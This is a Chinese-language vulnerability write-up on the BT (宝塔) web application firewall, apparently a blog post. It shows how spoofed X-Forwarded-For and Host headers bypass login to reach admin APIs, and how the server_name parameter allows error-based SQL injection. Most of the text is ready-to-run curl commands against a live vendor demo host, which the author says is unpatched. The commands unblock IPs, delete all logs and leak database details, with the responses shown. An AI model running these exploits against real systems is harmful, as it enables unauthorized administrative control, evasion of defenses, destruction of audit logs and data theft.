宝塔未授权访问人人都是管理员
漏洞简介
整个宝塔 WAF 核心防护功能的代码写的确实有点粗糙,代码组织方式不像一个成熟软件该有的架构,小 Bug 一眼望不到头,普通用户可以无视宝塔的随机登录地址,无视宝塔的登录密码,直接操作后台的数据,实现人人都是管理员的效果。
复现过程
这段代码位于 /cloud_waf/nginx/conf.d/waf/public/waf_route.lua 文件中,源文件是 luajit 编译后的内容,反编译一下即可看到源码。
看代码最开端的 if 语句,只要满足 ip 是 127.0.0.1 ,域名是 127.0.0.251 这两个条件就能在不用登录的情况下访问下面的 API 。
话说这是临时工写的代码吧,对于宝塔的配置来说,要满足这两个条件很难吗?
配置 x-forwarded-for 头为 127.0.0.1 即可满足 ip 是 127.0.0.1 的条件 配置 host 头为 127.0.0.251 即可满足域名是 127.0.0.251 的条件 提供一条 curl 参数供大家参考
漏洞测试
get_btwaf_drop_ip
这个 API 用来获取已经拉黑的 IP 列表,使用以下命令发起访问
curl 'http://btwaf-demo.bt.cn/get_btwaf_drop_ip' -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
remove_btwaf_drop_ip
这个 API 用来解封 IP ,提供一个 get 参数即可,使用以下命令发起访问
curl 'http://btwaf-demo.bt.cn/remove_btwaf_drop_ip?ip=1.2.3.4' -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
响应结果
{"msg":"1.2.3.4 已解封","status":true}
clean_btwaf_drop_ip
这个 API 用来解封所有 IP ,使用以下命令发起访问
curl 'http://btwaf-demo.bt.cn/clean_btwaf_drop_ip' -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
响应结果
{"msg":"已解封所有 IP","status":true}
updateinfo
这个 API 看起来是更新配置用的,需要一个 types 参数做校验,但实际并没有什么用处,使用以下命令发起访问
curl 'http://btwaf-demo.bt.cn/updateinfo?types' -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
响应结果
{"status":true,"msg":{"uv":0,"qps":0,"inland":0,"overseas":0,"today":{"pc_count":0,"mobile_count":0,"req":0,"spider_google":0,"spider_bing":0,"spider_sogou":0,"spider_360":0,"spider_other":0,"err_40x":0,"spider_baidu":0,"recv_bytes":0,"send_bytes":0,"err_500":0,"err_502":0,"err_503":0,"err_504":0,"err_499":0,"uv_count":0,"ip_count":0,"pv_count":0},"send_bytes":0,"proxy_count":0,"err_502":0,"recv_bytes":0,"err_504":0,"err_499":0,"ip":0,"proxy_time":0,"pv":0}}
clean_btwaf_logs
这个 API 用来删除宝塔的所有日志,使用以下命令发起访问
curl "http://btwaf-demo.bt.cn/clean_btwaf_logs" -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
sql注入
可执行任意 SQL 语句
这段代码位于 /cloud_waf/nginx/conf.d/waf/public/waf_route.lua 文件中,源文件是 luajit 编译后的内容,反编译一下即可看到源码
这段逻辑就在上文提到的 get_site_status API 中,slot1 变量就是 server_name 参数。原理很简单,server_name 参数没有做任何校验就直接带入了 SQL 查询。
宝塔官网还没有修复这个问题,还是拿宝塔官网为例,试试以下命令:
curl "http://btwaf-demo.bt.cn/get_site_status?server_name='-extractvalue(1,concat(0x5c,database()))-'" -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
响应结果
{"status":false,"msg":"数据查询失败: XPATH syntax error: '\\btwaf': 1105: HY000."}
已经注入成功,通过 updatexml 的报错成功的爆出了库名叫 btwaf
继续执行
curl "http://btwaf-demo.bt.cn/get_site_status?server_name='-extractvalue(1,concat(0x5c,version()))-'" -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
响应结果
{"status":false,"msg":"数据查询失败: XPATH syntax error: '\.1.0': 1105: HY000."}
从这里看出 mysql 版本是 8.1.0
继续执行
curl "http://btwaf-demo.bt.cn/get_site_status?server_name='-extractvalue(1,concat(0x5c,(select'hello,world')))-'" -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
响应结果
{"status":false,"msg":"数据查询失败: XPATH syntax error: '\\hello,world': 1105: HY000."}
select ‘hello,world’ 也执行成功了,到此为止,基本可以执行任意命令。
暂无评论内容